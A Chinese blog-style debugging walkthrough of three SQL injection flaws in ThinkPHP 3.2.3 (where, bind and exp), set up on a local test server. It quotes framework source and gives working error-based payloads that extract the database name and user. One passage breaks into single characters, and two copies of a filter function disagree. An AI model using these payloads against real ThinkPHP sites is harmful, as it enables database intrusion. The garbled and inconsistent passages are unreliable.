thinkphp3.2.3 sql注入漏洞分析
文章目录
先到thinkphp官网去下载thinkphp_v3.2.3完整版源码(https://www.thinkphp.cn/Down),然后解压到phpstudy网站根目录下。
thinkphp3.2.3 where注入
环境
配置数据库
ThinkPHP/Conf/convention.php,创建users表,添加实验数据。
/* 数据库设置 */
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => 'localhost', // 服务器地址
'DB_NAME' => 'thinkphp', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
配置控制器
Application/Home/Controller/IndexController.class.php
public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
payload:
http://127.0.0.1/tp3/?id[where]=1 and 1=updatexml(1,concat(0x7e,(database()),0x7e),1)%23
过程分析
在控制器打上断点,然后简单传入一个参数id=2’,然后跟踪看一下具体调用流程:
F7步入,进入M方法
没什么特别的地方,继续跟进,进入ThinkPHP/Common/functions.php文件的I()方法,I()方法获取了我们传入的参数$_GET[‘id’]
一直步过跟踪流程,到ThinkPHP/Common/functions.php文件343行,出现C方法赋值,htmlspecialchars,在之后明白它是成为一个默认htmlspecialchars()方法,I()方法接收的参数会经过它的处理,转换预定义字符为实体,防止xss注入
(htmlspecialchars()函数的功能如下:
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ’ (单引号)成为 ’
- < (小于)成为 <
- > (大于)成为 >
它的语法如下:
htmlspecialchars(string,flags,character-set,double_encode)
其中第二个参数flags需要重要注意,很多开发者就是因为没有注意到这个参数导致使用htmlspecialchars()函数过滤XSS时被绕过。因为flags参数对于引号的编码如下:
可用的引号类型:
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
默认是只编码双引号的!默认只编码双引号!默认只编码双引号……重要的事情说三遍!!!)
之后会在ThinkPHP/Common/functions.php:402
行回调think_filter
函数进行过滤,查看一下函数功能:
function think_filter(&$value)
{
// TODO 其他安全过滤
// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}
进行了一些过滤,发现危险字符则替换为空。继续跟进,进入了ThinkPHP/Library/Think/Model.class.php:720的
find()方法,而该方法又会调用ThinkPHP/Library/Think/Model.class.php:811 _parseOptions()方法,阅读相关代码发现,_parseOptions
方法有一个字段验证功能,当$options['where']
变量为数组时进行字段类型验证,这就是漏洞产生的地方。看一下进入验证的条件:
// 字段类型验证
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val){
$key = trim($key);
if(in_array($key,$fields,true)){
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
这里就是问题所在,满足条件
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
时,就进行验证,试想一下,要是传入的变量是如id['where']
的参数,不是数组呢?是不是就可以跳过验证,带入查询,达到不可告人的想法?
先看看传入参数使$options['where']
变量为数组时的情况,传参**?id=2’**,经过前面一系列处理,到这里时,$options['where']
变量如下:
可以看到是数组,会调用ThinkPHP/Library/Think/Model.class.php 680行的_parseType
方法
protected function _parseType(&$data,$key) {
if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
$fieldType = strtolower($this->fields['_type'][$key]);
if(false !== strpos($fieldType,'enum')){
// 支持ENUM类型优先检测
}elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
$data[$key] = intval($data[$key]);
}elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
$data[$key] = floatval($data[$key]);
}elseif(false !== strpos($fieldType,'bool')){
$data[$key] = (bool)$data[$key];
}
}
}
经过_parseType
方法后id
参数值会被intval
函数强制转换为整数值,此时id
参数值变为了2
,因此无法进行注入。
再来看看传入参数使$options['where']
变量不为数组时的情况,传参**?id[where]=2**,经过前面一系列处理,到这里时,$options['where']
变量如下:
可以看到变量$options[‘where’]不是数组,继续跟进下去,后面的流程对查询语句没有干扰,因此可以看到最后的sql语句为:
"SELECT * FROM `users` WHERE 2 LIMIT 1 "
了解了原理,我们再传入payload查看一下关键位置:
?id[where]=1 and 1=updatexml(1,concat(0x7e,(database()),0x7e),1)%23
一路跟进到最后,可以看到最终的查询语句为:
达到注入的目的。那么了解了原理之后,构造其他的payload也是可以的,比如:
?id[where]=1 and 1=extractvalue(1,concat(0x7e,(select user()),0x7e))%23
ThinkPHP3.2.3_bind注入
1. 环境
//Application/Home/Controller/IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M('users');
$user['id'] = I('id');
$data['password'] = I('password');
$value = $User->where($user)->save($data);
var_dump($value);
}
}
2. payload
/?id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,user(),0x7e),1))&password=k
3. 过程分析
我们直接从payload的角度来进行分析,从在最后sql语句执行点下一个断点
跟进,可以看到跟之前调的几条链一样把传入的参数赋值到了$this->options['where']
,
然后进入了ThinkPHP/Library/Think/Model.class.php的save
方法,并在其中461行调用了_parseOptions
方法,跟进一下,发现在_parseOptions
方法的字段类型验证处没有进入_parseType
方法验证类型。
继续跟进,从_parseOptions
方法出来后调用ThinkPHP/Library/Think/Db/Driver.class.php文件的$this->db->update
方法在896行进行一小段SQL拼接
之后再调用parseWhereItem
方法进行另一段SQL拼接,跟进一下,在parseWhereItem
方法中,给
e
x
p
赋
值
b
i
n
d
,
之
后
进
入
判
断
,
这
里
当
exp赋值bind,之后进入判断,这里当
exp赋值bind,之后进入判断,这里当exp值为bind时,sql语句中拼接进了**$val[1]😗*(仔细看的话,可以注意到,exp也是可以拼接的,这是另一个利用,我们在后面提到)
出来之后,把拼接出来的两段SQL语句进行再拼接。此时拼接出来的SQL语句存在:0
之后使用strstr()方法将**:0替换成外部传入的值,这个payload中是k**
到最后,执行的查询语句就变成了如下形势导致了报错注入。
"UPDATE `users` SET `password`='k' WHERE `id` = 'k' and (updatexml(1,concat(0x7e,user(),0x7e),1))"
thinkphp 3.2.3 exp注入
1.环境
同样的控制器位置写入:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$id = $_GET['id'];
//$id = I('id');//用I()方法获取参数避免该注入,原因后面解释
$data = M('users')->where(array('id'=>$id))->find();
var_dump($data);
}
}
2.payload:
/?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,database(),0x7e),1)
3. 过程分析
打下断点,跟进观察,直到ThinkPHP/Library/Think/Db/Driver.class.php的select ()
方法,
继续跟进到ThinkPHP/Library/Think/Db/Driver.class.php的buildSelectSql()方法中
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {
// 根据页数计算limit
list($page,$listRows) = $options['page'];
$page = $page>0 ? $page : 1;
$listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
$offset = $listRows*($page-1);
$options['limit'] = $offset.','.$listRows;
}
$sql = $this->parseSql($this->selectSql,$options);
return $sql;
}
继续跟进到ThinkPHP/Library/Think/Db/Driver.class.php的parseSql()方法
该方法调用一系列自定义方法填充预定义的sql语句,来构建最后的sql查询语句。预定义语句为:
"SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%"
这里依次跟进,重点在:parseWhere()方法,看一下:
调用parseWhereItem()方法,跟进
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
重点在
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
。。。
。。。
。。。
elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}
elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
满足$val是数组,并且索引为0的值为字符串’exp’,就进入该方法,之后在exp的那个语句中把where
条件直接用点拼接,造成了SQL注入。
补充:
1.为什么I()方法能阻止sql注入?
传入参数,跟进一下就可以知道,I方法会回调在ThinkPHPCommonfunctions.ph
中的think_filter函数,而该函数
function think_filter(&$value)
{
// TODO 其他安全过滤
// 过滤查询特殊字符
if (preg_match('/^(NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}
会把(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOTBETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN) 这些特殊关键字加上空格,使**$exp='exp空格 '**,从而不满足上面的条件,也就无法完成拼接sql语句,自然就不能注入。
2.parseWhereItem方法设计缺陷
设置断点进行调试,调用find()查询方法时会调用到parseWhereItem方法,这个方法判断传入的数组参数id[0]的值是否为exp,如果是,则把参数的参数名id和参数值**id[1]进行拼接作为要执行的sql语句返回,这里就是为什么不能用I()**方法接收参数,用I()方法接收参数就无法让id[0]的值为exp
那么只要构造id[0]=exp,那么就可以让SQL语句中id=后面的值为任意值,当然期间经历过htmlspecialchars函数的实体化,但是这个函数默认不实体化单引号的
3.漏洞代码中的where方法为什么要是数组的形式
当where方法的参数是以非数组的形式接收时,此时where方法中的where变量就是一个字符串,再经过if语句处理后变为数组,这个数组只有一个值为id
调用完where方法,紧接着调用find方法时使用到的是$this->where变量,这个变量是在where方法中的where变量传递过去的,也就是我们传递的id数组参数值没有被find方法使用到,此时没有进入存在parseWhereItem方法的条件判断分支,而是进入前一条判断分支,那么就没有调用parseWhereItem方法,就没有进行SQL语句拼接。